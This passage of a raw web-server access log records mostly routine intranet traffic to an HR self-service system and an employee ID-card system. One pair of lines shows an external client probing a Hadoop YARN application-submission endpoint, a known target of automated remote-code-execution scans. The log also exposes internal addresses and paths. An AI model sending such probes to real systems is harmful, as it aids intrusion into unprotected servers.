Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.146 - - [04/Dec/2025:11:00:26 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.11.146 - - [04/Dec/2025:11:00:30 +0800] "GET /idcard/ess/index.php?lang=ZHT HTTP/1.1" 200 11480 "http://192.168.1.83:8088/idcard/ess/index.php?action=logout" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:11:00:30 +0800] "GET /idcard/ess/index.php?lang=ZHT HTTP/1.1" 200 11480 192.168.11.146 - - [04/Dec/2025:11:00:32 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.83:8088/idcard/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:11:00:32 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 192.168.11.146 - - [04/Dec/2025:11:00:32 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.83:8088/idcard/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:11:00:32 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 192.168.11.146 - - [04/Dec/2025:11:00:32 +0800] "POST /idcard/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/idcard/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:11:00:32 +0800] "POST /idcard/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.146 - - [04/Dec/2025:11:00:38 +0800] "GET /idcard/ess/redirect.php HTTP/1.1" 200 6088 "http://192.168.1.83:8088/idcard/ess/index.php?lang=ZHT" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:11:00:38 +0800] "GET /idcard/ess/redirect.php HTTP/1.1" 200 6088 192.168.11.146 - - [04/Dec/2025:11:00:39 +0800] "GET /idcard/css/layout/layout.min.css HTTP/1.1" 200 3534 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:11:00:39 +0800] "GET /idcard/css/layout/layout.min.css HTTP/1.1" 200 3534 192.168.11.146 - - [04/Dec/2025:11:00:39 +0800] "GET /idcard/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:11:00:39 +0800] "GET /idcard/img/icon_exit.png HTTP/1.1" 200 3607 192.168.11.146 - - [04/Dec/2025:11:00:39 +0800] "GET /idcard/img/Person.png HTTP/1.1" 200 960 192.168.11.146 - - [04/Dec/2025:11:00:39 +0800] "GET /idcard/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:11:00:39 +0800] "GET /idcard/img/ess-logo.png HTTP/1.1" 200 13038 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:11:00:39 +0800] "GET /idcard/img/ess-logo.png HTTP/1.1" 200 13038 192.168.11.146 - - [04/Dec/2025:11:00:39 +0800] "GET /idcard/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:11:00:39 +0800] "GET /idcard/img/human.png HTTP/1.1" 200 26107 192.168.11.146 - - [04/Dec/2025:11:00:39 +0800] "GET /idcard/js/jquery.cookie.min.js HTTP/1.1" 200 4339 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:11:00:39 +0800] "GET /idcard/js/jquery.cookie.min.js HTTP/1.1" 200 4339 192.168.11.146 - - [04/Dec/2025:11:00:39 +0800] "GET /idcard/js/jquery.layout.min-1.2.0.js HTTP/1.1" 200 34635 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:11:00:39 +0800] "GET /idcard/js/jquery.layout.min-1.2.0.js HTTP/1.1" 200 34635 192.168.11.146 - - [04/Dec/2025:11:00:39 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:11:00:39 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 192.168.11.146 - - [04/Dec/2025:11:00:39 +0800] "GET /idcard/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:11:00:39 +0800] "GET /idcard/img/layout/toggle-lt.gif HTTP/1.1" 200 871 192.168.11.146 - - [04/Dec/2025:11:00:39 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:11:00:39 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 192.168.11.146 - - [04/Dec/2025:11:00:40 +0800] "GET /idcard/js/translate.js HTTP/1.1" 200 15726 192.168.11.146 - - [04/Dec/2025:11:00:40 +0800] "GET /idcard/js/translate.js HTTP/1.1" 200 15726 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:11:00:40 +0800] "GET /idcard/js/idcard_check.js HTTP/1.1" 200 9010 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:11:00:40 +0800] "GET /idcard/js/idcard_check.js HTTP/1.1" 200 9010 192.168.11.146 - - [04/Dec/2025:11:00:40 +0800] "GET /idcard/js/functions.js HTTP/1.1" 200 8865 192.168.11.146 - - [04/Dec/2025:11:00:40 +0800] "GET /idcard/js/functions.js HTTP/1.1" 200 8865 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:11:00:40 +0800] "GET /idcard/img/date.png HTTP/1.1" 200 626 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:11:00:40 +0800] "GET /idcard/img/date.png HTTP/1.1" 200 626 192.168.11.146 - - [04/Dec/2025:11:00:40 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:11:00:40 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 192.168.11.146 - - [04/Dec/2025:11:00:39 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRA001 HTTP/1.1" 200 50934 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:11:00:39 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRA001 HTTP/1.1" 200 50934 192.168.11.146 - - [04/Dec/2025:11:00:40 +0800] "GET /idcard/img/lov.png HTTP/1.1" 200 788 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:11:00:40 +0800] "GET /idcard/img/lov.png HTTP/1.1" 200 788 192.168.11.146 - - [04/Dec/2025:11:00:40 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_469bdd_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:11:00:40 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_469bdd_256x240.png HTTP/1.1" 200 4369 192.168.11.146 - - [04/Dec/2025:11:00:41 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 52 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:11:00:41 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 52 192.168.11.146 - - [04/Dec/2025:11:02:20 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:11:02:20 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 192.168.11.146 - - [04/Dec/2025:11:02:25 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:11:02:25 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 192.168.11.146 - - [04/Dec/2025:11:02:25 +0800] "GET /idcard/img/layout/resizable-w.gif HTTP/1.1" 200 368 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:11:02:25 +0800] "GET /idcard/img/layout/resizable-w.gif HTTP/1.1" 200 368 192.168.11.146 - - [04/Dec/2025:11:04:28 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_flat_0_aaaaaa_40x100.png HTTP/1.1" 200 180 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:11:04:28 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_flat_0_aaaaaa_40x100.png HTTP/1.1" 200 180 192.168.11.146 - - [04/Dec/2025:11:06:26 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 - "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:11:06:26 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 - 192.168.11.146 - - [04/Dec/2025:11:06:27 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 136 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:11:06:27 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 136 192.168.11.146 - - [04/Dec/2025:11:06:41 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 - "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:11:06:41 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 - 192.168.11.146 - - [04/Dec/2025:11:06:41 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 178 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:11:06:41 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 178 192.168.11.146 - - [04/Dec/2025:11:06:44 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 52 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:11:06:44 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 52 100.64.0.1 - - [04/Dec/2025:11:08:46 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 100.64.0.1 - - [04/Dec/2025:11:08:46 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "Go-http-client/1.1" 192.168.11.60 - - [04/Dec/2025:11:09:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B&ajaxcall=1&func=getShiftEndTime&shiftdate=2025-12-04 HTTP/1.1" 200 7 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:11:09:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B&ajaxcall=1&func=getShiftEndTime&shiftdate=2025-12-04 HTTP/1.1" 200 7 192.168.11.60 - - [04/Dec/2025:11:09:32 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B&ajaxcall=1&func=getShiftEndTime&shiftdate=2025-12-04 HTTP/1.1" 200 7 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:11:09:32 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B&ajaxcall=1&func=getShiftEndTime&shiftdate=2025-12-04 HTTP/1.1" 200 7 192.168.11.146 - - [04/Dec/2025:11:09:49 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 - "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:11:09:49 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 - 192.168.11.60 - - [04/Dec/2025:11:09:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B&ajaxcall=1&func=getShiftEndTime&shiftdate=2025-12-04 HTTP/1.1" 200 7 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:11:09:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B&ajaxcall=1&func=getShiftEndTime&shiftdate=2025-12-04 HTTP/1.1" 200 7 192.168.11.146 - - [04/Dec/2025:11:09:49 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 136 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:11:09:49 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 136 192.168.11.146 - - [04/Dec/2025:11:10:00 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 - "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:11:10:00 +0800] "POST /idcard/ess/redirect.php?scriptname=new_emp HTTP/1.1" 200 - 192.168.11.146 - - [04/Dec/2025:11:10:00 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 178 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRA001" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:11:10:00 +0800] "POST /idcard/ess/redirect.php?scriptname=card_read HTTP/1.1" 200 178 192.168.11.60 - - [04/Dec/2025:11:11:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B&ajaxcall=1&func=getShiftEndTime&shiftdate=2025-12-04 HTTP/1.1" 200 7 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:11:11:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA012&appdesc=%E8%AB%8B%E5%81%87%E7%94%B3%E8%AB%8B&ajaxcall=1&func=getShiftEndTime&shiftdate=2025-12-04 HTTP/1.1" 200 7 192.168.11.60 - - [04/Dec/2025:11:11:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2 HTTP/1.1" 200 6457 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:11:11:04 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2 HTTP/1.1" 200 6457 192.168.11.60 - - [04/Dec/2025:11:11:05 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2 HTTP/1.1" 200 165839 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:11:11:05 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2 HTTP/1.1" 200 165839 192.168.11.146 - - [04/Dec/2025:11:13:48 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:11:13:48 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 192.168.11.146 - - [04/Dec/2025:11:13:49 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRB002&appdesc=%E6%89%93%E5%8D%B0%E8%AF%86%E5%88%AB%E8%AF%81 HTTP/1.1" 200 5857 "http://192.168.1.83:8088/idcard/ess/redirect.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:11:13:49 +0800] "GET /idcard/ess/redirect.php?scriptname=IDRB002&appdesc=%E6%89%93%E5%8D%B0%E8%AF%86%E5%88%AB%E8%AF%81 HTTP/1.1" 200 5857 192.168.11.146 - - [04/Dec/2025:11:13:51 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRB002&appdesc=%E6%89%93%E5%8D%B0%E8%AF%86%E5%88%AB%E8%AF%81" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:11:13:51 +0800] "GET /idcard/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 192.168.11.146 - - [04/Dec/2025:11:13:55 +0800] "POST /idcard/ess/redirect.php?scriptname=IDRB002&appdesc=%E6%89%93%E5%8D%B0%E8%AF%86%E5%88%AB%E8%AF%81 HTTP/1.1" 200 7671 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=IDRB002&appdesc=%E6%89%93%E5%8D%B0%E8%AF%86%E5%88%AB%E8%AF%81" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:11:13:55 +0800] "POST /idcard/ess/redirect.php?scriptname=IDRB002&appdesc=%E6%89%93%E5%8D%B0%E8%AF%86%E5%88%AB%E8%AF%81 HTTP/1.1" 200 7671 192.168.11.146 - - [04/Dec/2025:11:14:00 +0800] "GET /idcard/ess/redirect.php?scriptname=idcard_preview&previewall=1 HTTP/1.1" 200 7948 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:11:14:00 +0800] "GET /idcard/ess/redirect.php?scriptname=idcard_preview&previewall=1 HTTP/1.1" 200 7948 192.168.11.146 - - [04/Dec/2025:11:14:01 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250998.jpg HTTP/1.1" 404 244 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=idcard_preview&previewall=1" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:11:14:01 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250998.jpg HTTP/1.1" 404 244 192.168.11.146 - - [04/Dec/2025:11:14:01 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250999.jpg HTTP/1.1" 404 244 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=idcard_preview&previewall=1" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:11:14:01 +0800] "GET /Apache%20Software%20Foundation/emphoto/X250999.jpg HTTP/1.1" 404 244 192.168.11.146 - - [04/Dec/2025:11:14:01 +0800] "GET /idcard/css/printidcard.css HTTP/1.1" 200 1715 192.168.11.146 - - [04/Dec/2025:11:14:01 +0800] "GET /idcard/css/printidcard.css HTTP/1.1" 200 1715 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=idcard_preview&previewall=1" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:11:14:01 +0800] "GET /idcard/upload/org_pic/idcard_company_log.png HTTP/1.1" 200 26231 "http://192.168.1.83:8088/idcard/ess/redirect.php?scriptname=idcard_preview&previewall=1" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0)" 192.168.11.146 - - [04/Dec/2025:11:14:01 +0800] "GET /idcard/upload/org_pic/idcard_company_log.png HTTP/1.1" 200 26231 192.168.11.146 - - [04/Dec/2025:11:14:01 +0800] "GET /idcard/js/jquery-barcode-2.0.2.min.js 